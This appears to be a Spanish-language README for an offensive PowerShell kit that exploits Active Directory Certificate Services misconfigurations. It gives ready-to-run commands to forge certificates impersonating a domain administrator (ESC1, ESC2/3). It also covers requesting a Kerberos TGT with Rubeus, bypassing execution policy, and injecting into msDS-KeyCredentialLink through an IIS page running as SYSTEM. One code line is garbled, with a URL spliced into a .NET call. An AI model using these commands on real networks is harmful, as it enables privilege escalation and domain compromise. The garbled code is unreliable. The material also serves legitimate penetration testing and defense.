Certi-Bhai: Kit de Explotación de AD CS

Certi-Bhai es una colección completa de herramientas de explotación en PowerShell para atacar vulnerabilidades de Servicios de Certificados de Active Directory (AD CS). Este kit implementa varios Escenarios de Escalada (ESC) que demuestran configuraciones de seguridad críticas erróneas en entornos ADCS.

📋 Tabla de Contenidos

• Descripción General
• Estructura de Directorios
• Requisitos Previos
• Guía de Uso
  • ESC1 - Plantilla de Certificado Excesivamente Permisiva
  • ESC2/3 - Agente de Solicitud de Certificados
  • ESC15 - Inscripción Web Vulnerable
  • Generación de CSR
  • Escalada de Privilegios en IIS

🎯 Descripción General

Los Servicios de Certificados de Active Directory (AD CS) a menudo están mal configurados, creando múltiples vectores de ataque. Certi-Bhai proporciona scripts de explotación prácticos y utilidades para pruebas de seguridad e investigación de vulnerabilidades comunes de ADCS.

Úselo de manera responsable y solo en entornos de prueba autorizados.

✅ Requisitos Previos

• Windows 7 / Windows Server 2008 o posterior
• PowerShell 3.0+
• Sistema unido al dominio de Active Directory
• Permisos apropiados para solicitar certificados
• Acceso a la infraestructura de AD CS
• .NET Framework 3.5+ (para scripts ASP.NET)

Módulos Requeridos

# Módulo de Active Directory (opcional, para funcionalidad mejorada)
Import-Module ActiveDirectory

🚀 Guía de Uso

ESC1: Plantilla de Certificado Excesivamente Permisiva

Vulnerabilidad: Las plantillas de certificados permiten la inscripción con valores arbitrarios de SubjectAltName (SAN).

Qué hace: Crea un certificado firmado por una plantilla excesivamente permisiva, lo que le permite hacerse pasar por cualquier usuario o equipo en el dominio.

Uso:

# Navegue al directorio ESC1
cd ESC1

# Ejecute el script de explotación
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
           -templateName "vuln" `
           -altName "administrator" `
           -pfxPass "password123"

Parámetros:

• -subjectName: Nombre distinguido (DN) completo del usuario objetivo
• -templateName: Nombre de la plantilla de certificado vulnerable
• -altName: Nombre alternativo a solicitar (usuario/equipo)
• -pfxPass: Contraseña para la exportación PFX

Salida: Certificado PFX codificado en Base64 para usar con herramientas como Rubeus

Tutorial en Video: https://www.youtube.com/watch?v=l0gMw_mO4dw

ESC2/3: Abuso de Agente de Solicitud de Certificados / Cualquier Propósito

Vulnerabilidad: Los Agentes de Solicitud de Certificados pueden solicitar certificados en nombre de cualquier usuario.

Qué hace: Inscribe un certificado como Agente de Solicitud de Certificados y luego solicita certificados para entidades arbitrarias.

Uso:

# Navegue al directorio ESC3
cd ESC3

# Ejecute el script de explotación
.
\esc3_working.ps1 -templateName "CEOTemplate" `
                   -target_user "administrator" `
                   -domain "INDISHELL" `
                   -pfxPass "password123"

Parámetros:

• -templateName: Plantilla de agente de solicitud vulnerable
• -target_user: Entidad para la cual solicitar el certificado
• -domain: Nombre del dominio
• -pfxPass: Contraseña del PFX

Salida: Certificado de administrador (PFX) con codificación base64

Tutorial en Video: https://www.youtube.com/watch?v=fGjrM-JKnoM

ESC15: Plantilla de Esquema Versión 1 Mal Configurada

Vulnerabilidad: Inyección de Política de Aplicación.

Generación y Gestión de CSR

Generación Rápida de CSR

cd CSR_Generate

# Genere una solicitud de firma de certificado
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
                -altName "admin"

Enviar CSR a la Autoridad de Certificación

# Enviar CSR a la CA
.
\csr_submit.ps1 -csr $csr `
                 -templateName "User" `
                 -caServer "ca-server.domain.local"

Escalada de Privilegios en IIS

Interfaz de Gestión de Certificados

La interfaz web cert.aspx proporciona un formulario fácil de usar para solicitar un certificado desde el endpoint RPC de AD CS:

http://your-iis-server/cert.aspx

Interfaz de Actualización LDAP

Modifique atributos LDAP a través de la interfaz web. Este script se utiliza básicamente para realizar la inyección de blob en el atributo msDS-KeyCredentialLink:

http://your-iis-server/ldap_update.aspx

Características:

• Filtrado de atributos LDAP
• Capacidades de modificación de objetos
• Ejecución en contexto de NT Authority\SYSTEM

Comandos de Referencia Rápida

Para Explotación ESC1

.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
                -templateName "User" `
                -altName "administrator" `
                -pfxPass "P@ssw0rd!"

Para Post-Explotación ESC2/3

# Convierta PFX a un formato utilizable para Rubeus
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)

Solicitar TGT con Rubeus

Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap

🔧 Solución de Problemas

Problemas Comunes

P: La ejecución del script está bloqueada

# Ejecute PowerShell como Administrador
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

P: Plantilla de certificado no encontrada

• Verifique que el nombre de la plantilla sea correcto
• Asegúrese de tener permisos para solicitar desde la plantilla
• Revise los registros de la Autoridad de Certificación

P: La conexión LDAP falla

• Verifique la conectividad del dominio
• Compruebe las credenciales
• Confirme el acceso ADSI

📝 Detalles Técnicos

Proceso de Solicitud de Certificado

1. Genere una clave privada (RSA de 2048 bits)
2. Cree la solicitud de certificado (PKCS#10)
3. Establezca el nombre del sujeto y las extensiones
4. Envíe a la Autoridad de Certificación
5. Recupere el certificado emitido
6. Exporte como PFX con contraseña

🤝 Contribuciones

¿Encontró un problema o tiene mejoras? Por favor, repórtelo de manera responsable.